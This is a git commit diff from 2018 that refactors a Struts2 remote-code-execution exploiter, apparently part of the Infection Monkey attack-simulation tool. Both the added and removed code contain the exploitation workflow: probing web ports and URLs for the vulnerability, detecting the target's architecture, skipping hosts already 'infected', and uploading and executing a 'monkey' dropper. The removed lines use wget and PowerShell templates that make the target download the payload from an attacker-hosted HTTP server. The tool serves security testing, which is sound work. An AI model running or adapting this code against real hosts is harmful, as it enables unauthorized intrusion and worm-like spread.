Struts2 core functions

This commit is contained in:
Vakaris 2018-07-19 13:42:01 +03:00
parent 87b0afae88
commit 8d7221eada
1 changed files with 36 additions and 165 deletions

View File

@ -9,11 +9,8 @@ import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
from web_rce import WebRCE
import copy
__author__ = "VakarisZ"
@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
# Commands used to check if monkeys already exists
FIND_FILE = "ls %s"
class Struts2Exploiter(HostExploiter):
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
# We need a reference to the exploiter for WebRCE framework to use
exploiter = self.exploit
# Get open ports
ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get urls to try to exploit
urls = WebRCE.build_potential_urls(self.host, ports)
vulnerable_urls = []
for url in urls:
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = FIND_FILE % path
resp = self.exploit(host, command)
if 'No such file' in resp:
url = self.get_redirected(url)
if WebRCE.check_if_exploitable(exploiter, url):
vulnerable_urls.append(url)
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
else:
# We need to escape backslashes for our exploiter
config = copy.deepcopy(self._config)
config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32)
config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64)
if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]):
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0])
# We can't use 'if not' because response may be ''
if data is not False and data['response'] == False:
return False
if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False:
return False
if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False:
return False
return True
@staticmethod
def get_redirected(url):
# Returns false if url is not right
@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter):
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
def exploit(self, url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter):
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports